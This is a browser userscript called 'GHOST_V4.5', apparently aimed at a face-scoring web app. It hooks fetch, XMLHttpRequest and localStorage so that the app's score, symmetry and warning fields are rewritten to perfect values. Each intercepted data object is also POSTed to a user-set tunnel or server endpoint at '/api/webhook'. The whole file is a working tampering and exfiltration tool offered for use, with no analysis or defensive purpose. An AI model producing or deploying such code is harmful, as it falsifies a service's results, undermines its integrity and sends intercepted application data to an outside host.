| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| (function() { |
| 'use strict'; |
|
|
| |
| let isActive = true; |
| const PERFECT_SCORE = 10.0; |
| const PERFECT_PERCENT = 99.9; |
|
|
| |
| const exfilUrl = localStorage.getItem('ghost_exfil_url') || ''; |
| |
| function logMsg(msg) { |
| const log = document.getElementById('ghost-log'); |
| if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML; |
| console.log("[GHOST]", msg); |
| } |
|
|
| async function updateExfilUrl() { |
| let current = localStorage.getItem('ghost_exfil_url') || ''; |
| let newUrl = prompt("Enter Server URL (Your HF Space or Bore tunnel URL):", current); |
| if (newUrl !== null) { |
| |
| newUrl = newUrl.replace(/\/$/, ''); |
| if (!newUrl.startsWith('http')) newUrl = 'https://' + newUrl; |
| |
| localStorage.setItem('ghost_exfil_url', newUrl); |
| logMsg("Target set: " + newUrl); |
| } |
| } |
|
|
| |
| const container = document.createElement('div'); |
| container.id = 'ghost-ui-wrapper'; |
| container.innerHTML = ` |
| <div id="ghost-ui" style="position:fixed; top:10px; right:10px; width:260px; background:rgba(10,10,15,0.98); border:1px solid #00f2ff; border-radius:8px; color:white; font-family:monospace; z-index:2147483647; padding:12px; box-shadow:0 0 30px rgba(0,242,255,0.2); font-size:11px; pointer-events: auto !important;"> |
| <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px; padding-bottom:10px; border-bottom:1px solid #222;"> |
| <b style="color:#00f2ff; letter-spacing:1px; font-style:italic;">GHOST_V4.5</b> |
| <span id="ghost-indicator" style="width:8px; height:8px; background:#00ff88; border-radius:50%; box-shadow:0 0 10px #00ff88;"></span> |
| </div> |
| |
| <div style="display:grid; grid-template-columns: 1fr 1fr; gap: 5px; margin-bottom: 10px;"> |
| <button id="ghost-toggle" style="background:#111; color:#00ff88; border:1px solid #00ff88; border-radius:4px; padding:6px; cursor:pointer; font-size:9px; font-weight:bold;">BYPASS: ON</button> |
| <button id="ghost-exfil-btn" style="background:#111; color:#aaa; border:1px solid #333; border-radius:4px; padding:6px; cursor:pointer; font-size:9px;">SETUP_TARGET</button> |
| </div> |
| |
| <div style="background:#000; border-radius:4px; padding:8px; margin-top:5px;"> |
| <div style="margin-bottom:4px; color:#555;">STATUS: <span id="ghost-status" style="color:#00ff88;">INTERCEPTING</span></div> |
| <div id="ghost-log" style="height:100px; overflow-y:auto; color:#00ff88; opacity:0.8; font-size:9px; line-height:1.3; scrollbar-width: none;">[SYSTEM] Protocol engaged.</div> |
| </div> |
| </div> |
| `; |
| |
| function injectUI() { |
| if (window.self !== window.top) return; |
| |
| if (!document.getElementById('ghost-ui-wrapper')) { |
| if (!document.body) { |
| setTimeout(injectUI, 500); |
| return; |
| } |
| |
| const wrapper = document.createElement('div'); |
| wrapper.id = 'ghost-ui-wrapper'; |
| wrapper.innerHTML = container.innerHTML; |
| document.body.appendChild(wrapper); |
| attachListeners(wrapper); |
| logMsg("GHOST_UI Protocol Engaged."); |
| } |
| } |
| |
| function attachListeners(wrapper) { |
| const toggle = wrapper.querySelector('#ghost-toggle'); |
| const exfil = wrapper.querySelector('#ghost-exfil-btn'); |
| |
| if (toggle) { |
| toggle.onclick = (e) => { |
| e.preventDefault(); |
| isActive = !isActive; |
| const target = e.target; |
| const indicator = wrapper.querySelector('#ghost-indicator'); |
| const status = wrapper.querySelector('#ghost-status'); |
| |
| target.innerText = isActive ? "BYPASS: ON" : "BYPASS: OFF"; |
| target.style.color = isActive ? "#00ff88" : "#ff4444"; |
| target.style.borderColor = isActive ? "#00ff88" : "#ff4444"; |
| if(indicator) indicator.style.background = isActive ? "#00ff88" : "#ff4444"; |
| if(status) { |
| status.innerText = isActive ? "ACTIVE_INTERCEPT" : "BYPASSED"; |
| status.style.color = isActive ? "#00ff88" : "#ff4444"; |
| } |
| logMsg(isActive ? "Protocol Resumed" : "System Standby"); |
| }; |
| } |
| |
| if (exfil) { |
| exfil.onclick = (e) => { |
| e.preventDefault(); |
| e.stopPropagation(); |
| updateExfilUrl(); |
| }; |
| } |
| } |
| |
| if (document.readyState === 'complete') injectUI(); |
| else window.addEventListener('load', injectUI); |
| |
| setInterval(injectUI, 2000); |
|
|
| |
| async function exfiltrate(data, type) { |
| const targetUrl = localStorage.getItem('ghost_exfil_url'); |
| if (!targetUrl || !isActive) return; |
| |
| try { |
| let endpoint = targetUrl; |
| if (!endpoint.includes('/api/webhook')) { |
| endpoint = endpoint.replace(/\/$/, '') + '/api/webhook'; |
| } |
|
|
| const res = await fetch(endpoint, { |
| method: 'POST', |
| headers: { 'Content-Type': 'application/json' }, |
| body: JSON.stringify({ |
| protocol: 'GHOST_v4.5', |
| timestamp: Date.now(), |
| type: type, |
| payload: data |
| }) |
| }); |
| const status = await res.json(); |
| logMsg(`SYNC: ${type} -> OK`); |
| } catch(e) { |
| logMsg("SYNC_ERR: Check Server/Tunnel URL"); |
| } |
| } |
|
|
| |
| function scrubData(obj) { |
| if (!isActive || !obj || typeof obj !== 'object') return; |
|
|
| if (Array.isArray(obj)) { |
| obj.forEach(scrubData); |
| return; |
| } |
|
|
| const highKeys = ['userScore', 'user_score', 'overall', 'score', 'harmony', 'symmetry', 'reliability', 'confidence', 'scoringConfidence']; |
| for (let key in obj) { |
| if (highKeys.some(hk => key.toLowerCase() === hk.toLowerCase())) { |
| if (key.toLowerCase() === 'symmetry') obj[key] = PERFECT_PERCENT; |
| else if (obj[key] <= 1.0) obj[key] = 0.99; |
| else obj[key] = PERFECT_SCORE; |
| } |
|
|
| if (key === 'fatalFlaw' || key === 'fatal_flaw') obj[key] = "none"; |
| if (key === 'faceStatus') obj[key] = "perfect"; |
| if (key === 'scoringWarnings' || key === 'warnings') { |
| if(Array.isArray(obj[key])) obj[key] = []; |
| } |
|
|
| if (key === 'statsJson' || key === 'stats_json') { |
| if (typeof obj[key] === 'string') { |
| try { |
| let parsed = JSON.parse(obj[key]); |
| scrubData(parsed); |
| obj[key] = JSON.stringify(parsed); |
| } catch(e){} |
| } else { |
| scrubData(obj[key]); |
| } |
| } |
|
|
| if (typeof obj[key] === 'object') scrubData(obj[key]); |
| } |
| } |
|
|
| |
| const originalFetch = window.fetch; |
| window.fetch = async (...args) => { |
| const url = args[0].toString(); |
| const response = await originalFetch(...args); |
|
|
| if (isActive && (url.includes('/api/lab') || url.includes('stats') || url.includes('report'))) { |
| return response.clone().json().then(data => { |
| logMsg("Caught API: " + url.split('/').pop().split('?')[0]); |
| scrubData(data); |
| |
| |
| exfiltrate(data, 'api_intercept'); |
|
|
| return new Response(JSON.stringify(data), { |
| status: response.status, |
| statusText: response.statusText, |
| headers: response.headers |
| }); |
| }).catch(() => response); |
| } |
| return response; |
| }; |
|
|
| |
| const originalOpen = XMLHttpRequest.prototype.open; |
| XMLHttpRequest.prototype.open = function(method, url) { |
| if (isActive) { |
| this.addEventListener('readystatechange', function() { |
| if (this.readyState === 4 && (url.includes('/api/lab') || url.includes('stats'))) { |
| try { |
| let originalData = JSON.parse(this.responseText); |
| scrubData(originalData); |
| |
| |
| Object.defineProperty(this, 'responseText', { value: JSON.stringify(originalData) }); |
| Object.defineProperty(this, 'response', { value: JSON.stringify(originalData) }); |
| |
| logMsg("Scrubbed XHR data stream"); |
| exfiltrate(originalData, 'xhr_intercept'); |
| } catch (e) {} |
| } |
| }); |
| } |
| return originalOpen.apply(this, arguments); |
| }; |
|
|
| |
| const originalSetItem = localStorage.setItem; |
| localStorage.setItem = function(key, value) { |
| if (isActive && (key.includes('stats') || key.includes('match') || key.includes('report'))) { |
| try { |
| let data = JSON.parse(value); |
| scrubData(data); |
| value = JSON.stringify(data); |
| logMsg("Cleaned storage: " + key); |
| exfiltrate(data, 'storage_clean'); |
| } catch(e){} |
| } |
| originalSetItem.apply(this, [key, value]); |
| }; |
|
|
| })(); |
|
|